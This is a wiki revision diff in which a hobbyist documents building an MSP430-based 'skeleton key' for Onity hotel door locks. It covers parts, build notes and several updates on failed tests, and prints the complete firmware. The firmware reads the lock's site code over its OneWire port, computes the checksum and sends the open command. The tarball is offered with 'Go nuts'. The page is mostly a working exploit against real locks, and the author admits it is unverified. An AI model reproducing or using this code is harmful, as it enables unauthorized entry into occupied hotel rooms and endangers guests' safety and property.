I THINK ∴ I'M DANGEROUS

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Last revision Both sides next revision
osk [2012/08/19 16:24]
zashi [Main]
osk [2012/09/17 15:03]
zashi
Line 1: Line 1:
 +====== Onity Skeleton Key ======
  
 +A few days after reading a [[http://​demoseen.com/​bhpaper.html|white paper]] on hotel locks made by onity, I decided to try porting the code to an msp430. I went out to radio shack, bought a few parts for less than $6.00 then, combined with some scraps lying around my work desk, I soldered together a device for one wire communication.
 +
 +I have yet to test this device, but to the best of my ability you should be able to connect this device to an Onity lock, press the button on the board, and in about a quarter second the lock will open.
 +
 +**Update:** I managed to test my device over the weekend. It did not work. After talking with the author of the white paper, Daeken, and a few others, it would appear the Dallas OneWire library I used is not quite the same thing as what Onity locks use. The Devil'​s in the details. I'll re-write the onewire library from scratch to fit the timing discovered by Daeken. More to come.
 +
 +**Update 2:** I went over some [[http://​demoseen.com/​finalDocs.html|additional information]] Daeken made available. Using that I updated my code. Again, have not tested as I do not have a lock nor do I live in a hotel, but I'm marginally more confident this will work. A lot of changes went in. The timing may still be off, as I do not know how much delay the code itself introduces. ​ Daeken has his timing compensation for his arduino code, but it didn't make sense to me to directly copy it as I have no idea how much more or less efficient the msp430 C code is to Arduino'​s sketch (or whatever it is) code. 
 +
 +**Update 3:** Tested my device again and it failed to open anything. Reviewed my code and made a few more fixes. I dropped using the internal pull up resistor and am using a 5k external. I also fixed a power leakage issue that arose from how I switched power on and off on the board. I changed the CPU speed from 8Mhz to 16Mhz (and changed delay.h to match). Several other tweaks here and there, mostly within onewire.c, but several changes went into osk.c as well. Current code is 0.3; tar ball and osk.c have been updated on this page.
 +
 +**Update 4:** Hot on the heels of update 3 is update 4! I realized that math is big-endian and my MCU and the lock's MCU are little endian which means all my 0bXXXXXXXX values needed to be reversed, so that's what's been done in this release as well as an additional delay after the reading a group. 0.4 tar ball is available below.
 +
 +**Update 5:** Changed timing to be more intelligent. Rather than just dumb delays, I used a timer that should compensate for computation time. Tar ball (0.5) has been updated.
 +
 +===== Physical Build =====
 +
 +{{:​osk:​dsc09521.jpg?​direct&​100|}}
 +{{:​osk:​dsc09522.jpg?​direct&​100|}}
 +{{:​osk:​dsc09523.jpg?​direct&​100|}}
 +{{:​osk:​dsc09524.jpg?​direct&​100|}}
 +
 +
 +{{:​osk:​dsc09525.jpg?​direct&​100|}}
 +{{:​osk:​dsc09526.jpg?​direct&​100|}}
 +{{:​osk:​dsc09527.jpg?​direct&​100|}}
 +
 +==== Part List ====
 +
 +  * an msp430g2553 (my goto 2231s do not have a fast enough clock)
 +  * a prefab circuit board from radio shack
 +  * a 20-pin DIP socket
 +  * a 2032 button cell holder
 +  * a 2-contact screw-terminal
 +  * some 22ga solid wire
 +  * a 100 uF electrolytic capacitor
 +  * 47K Ohm resistor to pull up the reset pin
 +  * a 1K Ohm (not sure) for the indicator LED
 +  * a barrel connector from a AC-DC adapter I had already salvaged the transformer from for another project
 +  * **(Update 3)** A 5k Ohm pull up resistor.
 +
 +The case is an aluminum wallet which incidently makes a crappy wallet and an excellent project case. The board is adhered to the wallet via some double-sided foam tape. It's snug and doesn'​t move at all.
 +
 +I, as I always fail to do, did not take pictures of the build process because I was too excited to put everything together to stop and document anything. However it's a simple build that can pretty easily be deduced from the end product. If you have any questions hit me up via email or irc.
 +
 +At least the soldering was dead simple and doesn'​t even merit sharing a schematic. Pressing the button on the board closes the power circuit to the msp430 MCU. One pin (pin 1.0) is used for communicating with the door. Another (pin 1.7) is used to control the indicator LED. The capacitor is for smoothing power to the MCU. **(Update 3)** I added a pull up resistor for the comm wire, per Daeken'​s suggestion.
 +===== High Level Explanation ====
 +
 +If you want the nitty-gritty details I suggest you read the white paper linked above for yourself. If you just want a general idea of what the code/device does, here goes: 
 +
 +One can communicate with an Onity lock via a OneWire connection. The OneWire bus is exposed through a barrel connector on the bottom of the lock. Through this interface you can send the lock arbitrary commands. The device described on this page firsts asks for the site code (a 32bit key). It then uses the key to generate an open request. It's quite literally faster than saying "Open Sesame."​ It takes about a quarter second for the full read-send-unlock process.
 +
 +===== Source Code ====
 +
 +==== Main ====
 +For your viewing pleasure I've included the main body of the firmware source code on this page. Below this section you can download the source code archive which is complete with a make file for building on linux using mspgcc. ​
 +
 +<file c osk.c>
 +/* OSK - Onity Skeleton Key
 + ​* ​
 + * This is an implementation of the open door hack as described on
 + * http://​demoseen.com/​bhpaper.html
 + ​* ​
 + * Rather than port the arduino code I started from scratch and 
 + * attempted to follow the procedure as outline on the paper.
 + ​* ​
 + * Update:
 + * v0.2 - I reworeked the onewire library to match the work done by Daeken.
 + ​* ​        Also, added sync pulses after group delivery.
 + ​* ​
 + ​* ​ v0.3 - Most software changes in v0.3 were to match the physical changes
 + ​* ​        ​made--switched from internal pull-up to a 5k external pull up.
 + ​* ​
 + ​* ​ v0.4 - Realized I made a mistake with binary values and endianness.
 + ​* ​        I went through and reversed all my 0bXXXXXXXX values.
 + ​* ​
 + * Special thanks to David Siroky <​siroky@dasir.cz>​ for the wonderful
 + * msp430 OneWire library.
 + ​* ​
 + */
 +
 +#include <​msp430.h>​
 +#include "​delay.h"​
 +#include "​onewire.h"​
 +
 +#define COMM BIT0
 +#define LED BIT7 
 +
 +
 +int main()
 +{
 + int i, j;
 +
 + unsigned char buf[15];
 +
 + /* stop watchdog */
 + WDTCTL = WDTPW + WDTHOLD;
 +
 + /* load calibration settings */
 + BCSCTL1 = CALBC1_16MHZ;​
 + DCOCTL = CALDCO_16MHZ;​
 +
 + /* setup the LED */
 + P1DIR |= LED;
 +
 + /* turn on the LED to let user know MCU is running */
 + P1OUT |= LED;
 +
 + /* setup one wire comm */
 + onewire_t ow;
 +
 + ow.port_out = &P1OUT;
 + ow.port_in = &P1IN;
 + ow.port_ren = &P1REN;
 + ow.port_dir = &P1DIR;
 + ow.pin = COMM;
 +
 + /* power up delay, just to make sure everything is settled */
 + DELAY_US(20);​
 +
 + /* begin communication */
 +
 + /* special note: when entering bytes as binary numbers like 0b00001000
 + * They have to be reversed as human read / math numbers are big endian
 + * however this MCU and the lock are both little-endian ​
 + */
 +
 +
 + /* send read command */
 + for(i=0; i < 5; i++)
 + onewire_write_byte(&​ow,​ 0b00000000);​
 + onewire_write_byte(&​ow,​ 0b11000101);​
 + onewire_write_byte(&​ow,​ 0b00000111);​
 + onewire_write_byte(&​ow,​ 0b10000100);​
 + onewire_write_byte(&​ow,​ 0b11001000);​
 + for(i=0; i < 4; i++)
 + onewire_write_bit(&​ow,​ 0);
 +
 + /* send trailing sync pulse */
 + onewire_line_low(&​ow);​
 + DELAY_US(20);​
 + onewire_line_high(&​ow);​
 +
 + /* wait for lock to tell us it's ready to send */
 + onewire_line_release(&​ow);​
 + DELAY_US(20);​
 + while( ! (ow.pin & *(ow.port_in)))
 + nop();
 +
 + /* ready to receive data */
 + for(i=0; i<50; i++) /* skip 50 bits are junk, read and discard */
 + onewire_read_bit(&​ow);​
 + for(i=0; i<4; i++) /* actual data, 16 bytes spaced with a bit in between */
 + {
 + buf[i] = onewire_read_byte(&​ow);​
 + onewire_read_bit(&​ow);​ /* read and discard spacer bit */
 + }
 + /* read remaining 78 bits */
 + for(i=0; i<78; i++)
 + onewire_read_bit(&​ow);​
 +
 + /* send trailing sync pulse */
 + onewire_line_low(&​ow);​
 + DELAY_US(20);​
 + onewire_line_high(&​ow);​
 +
 + /* conservative delay after reading the site code group */
 + DELAY_US(2700);​
 +
 + /* the site code is in the 1st, 2nd, 3rd, and 4th bytes.
 + * the rest doesn'​t matter so we'll use the 5th byte of buf to
 + * store the checksum */
 +  
 + buf[4] = buf[0] ^ buf[1] ^ buf[2] ^ buf[3] ^ 0xDD; /* xor'd with magic 0xdd */
 +
 + /* we have the site code. now let's send the open command.
 + * the open command consists of several groups that need to
 + * be spaced out by 2700 microseconds */
 +
 + /* first group */
 + for(i=0; i<40; i++)
 + onewire_write_bit(&​ow,​ 0);
 + onewire_write_byte(&​ow,​ 0b01000101);​
 + onewire_write_bit(&​ow,​ 0);
 + onewire_write_bit(&​ow,​ 1);
 + for(i=0; i<4; i++)
 + {
 + onewire_write_byte(&​ow,​ buf[i]); /* send sitecode byte */
 + onewire_write_bit(&​ow,​ 1); /* send spacer bit */
 + }
 + onewire_write_byte(&​ow,​ buf[4]); /* send checksum byte (not followed by spacer bit) */
 + for(i=0; i<50; i++)
 + onewire_write_bit(&​ow,​ 0);
 + /* send trailing sync pulse */
 + onewire_line_low(&​ow);​
 + DELAY_US(20);​
 + onewire_line_high(&​ow);​
 +
 + DELAY_US(2700);​
 +
 + /* the next 9 groups are each 49 zeroes. no really. */
 + for(i=0; i<9; i++)
 + {
 + for(j=0; j<49; j++)
 + onewire_write_bit(&​ow,​ 0);
 +
 + /* send trailing sync pulse */
 + onewire_line_low(&​ow);​
 + DELAY_US(20);​
 + onewire_line_high(&​ow);​
 +
 + DELAY_US(2700);​
 + }
 +
 + /* final group for open command */
 + for(i=0; i<40; i++)
 + onewire_write_bit(&​ow,​ 0);
 + onewire_write_byte(&​ow,​ 0b01011001);​
 + onewire_write_byte(&​ow,​ 0b01001111);​
 + onewire_write_bit(&​ow,​ 1);
 + onewire_write_bit(&​ow,​ 0);
 +
 + /* send trailing sync pulse */
 + onewire_line_low(&​ow);​
 + DELAY_US(20);​
 + onewire_line_high(&​ow);​
 +
 + /* blink LED to let user know MCU is done running */
 + for(;;)
 + {
 + P1OUT ^= LED;
 + DELAY_MS(500);​
 + }
 +}
 +</​file>​
 +==== Tar Ball ====
 +Here's the complete source archive. Go nuts. Insert standard disavowment of liability here. You're responsible for your own actions. Don't sue me or press charges. Absolutely no waranty provided. Blah blah.
 +
 +{{:​osk-0.5.tar.bz2|}}